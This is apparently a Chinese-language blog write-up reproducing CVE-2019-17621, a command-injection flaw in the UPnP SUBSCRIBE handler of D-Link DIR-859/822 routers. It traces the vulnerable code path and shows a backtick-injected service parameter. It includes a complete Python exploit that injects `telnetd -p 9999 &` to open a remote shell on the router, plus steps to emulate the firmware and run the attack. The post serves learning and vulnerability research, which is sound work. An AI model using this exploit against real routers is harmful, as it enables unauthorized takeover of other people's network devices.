CVE-2019-17621 Dlink-859 RCE 复现
-
漏洞分析
关于UPnp:
网络设备之间的一种通用协议(即插即用协议),主要功能之一时自动打开端口,而无需用户为每个程序手动配置默认路由器。
漏洞起始位置在二进制文件 /htdocs/cgibin 的 genacgi_main 中,进入 sub_40FCE0 函数,前面这一部分代码构造了一个请求报文并存在 v23 中
xmldbc_ephp 中会调用 send,跟进去看看,
以这种方式向 run.NOTIFY.php 发了个包,跟进其中的 subscribe_new 函数
前面是一些赋值和判断操作,之后调用了 GENA_notify_init 函数,发现了一个可控的 fwrite 函数
其中传入的 $shell_file 是一个脚本的名字, 第一次调用 fwrite 向 $shell_file 中写入了一些命令,第二次调用时将该问文件添加新行,本意是用 rm 命令删除身,但如果 $shell_file 是一个由反引号包裹的命令,那么就形成一个 RCE。(“ rm”命令将失败,因为文件名字符串将被“ rm”返回的输出(空字符串)替换)
实际的执行流:
Request: http://IP:PORT/*?service=`ping 192.168.0.20` System: /var/run/`ping 192.168.0.20`_13567.sh Run: rm -f `ping 192.168.0.20`_13467.sh
-
漏洞复现
固件下载地址 http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-822
Poc:
import socket import os from time import sleep # Exploit By Miguel Mendez & Pablo Pollanco def httpSUB(server, port, shell_file): print('\n[*] Connection {host}:{port}'.format(host=server, port=port)) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(str(request)) results = con.recv(4096) sleep(1) print('[*] Running Telnetd Service') sleep(1) print('[*] Opening Telnet Connection\n') sleep(2) os.system('telnet ' + str(server) + ' 9999') serverInput = '192.168.0.1' portInput = 49152 httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
用 firmware-analysis-plus 框架仿真路由器 https://github.com/liyansong2018/firmware-analysis-plus
python3 fat.py -q tools/firmware-analysis-plus/qemu-builds/2.5.0/ /home/iot/game/CVE-2019-17621/DIR822A1_FW103WWb03.bin
成功之后回车,在浏览器中可用正常访问到(但不知道为什么报了很多莫名其妙的错误)
运行 exp, 攻击成功
谨记第一次 IOT 漏洞复现成功。
-
参考文献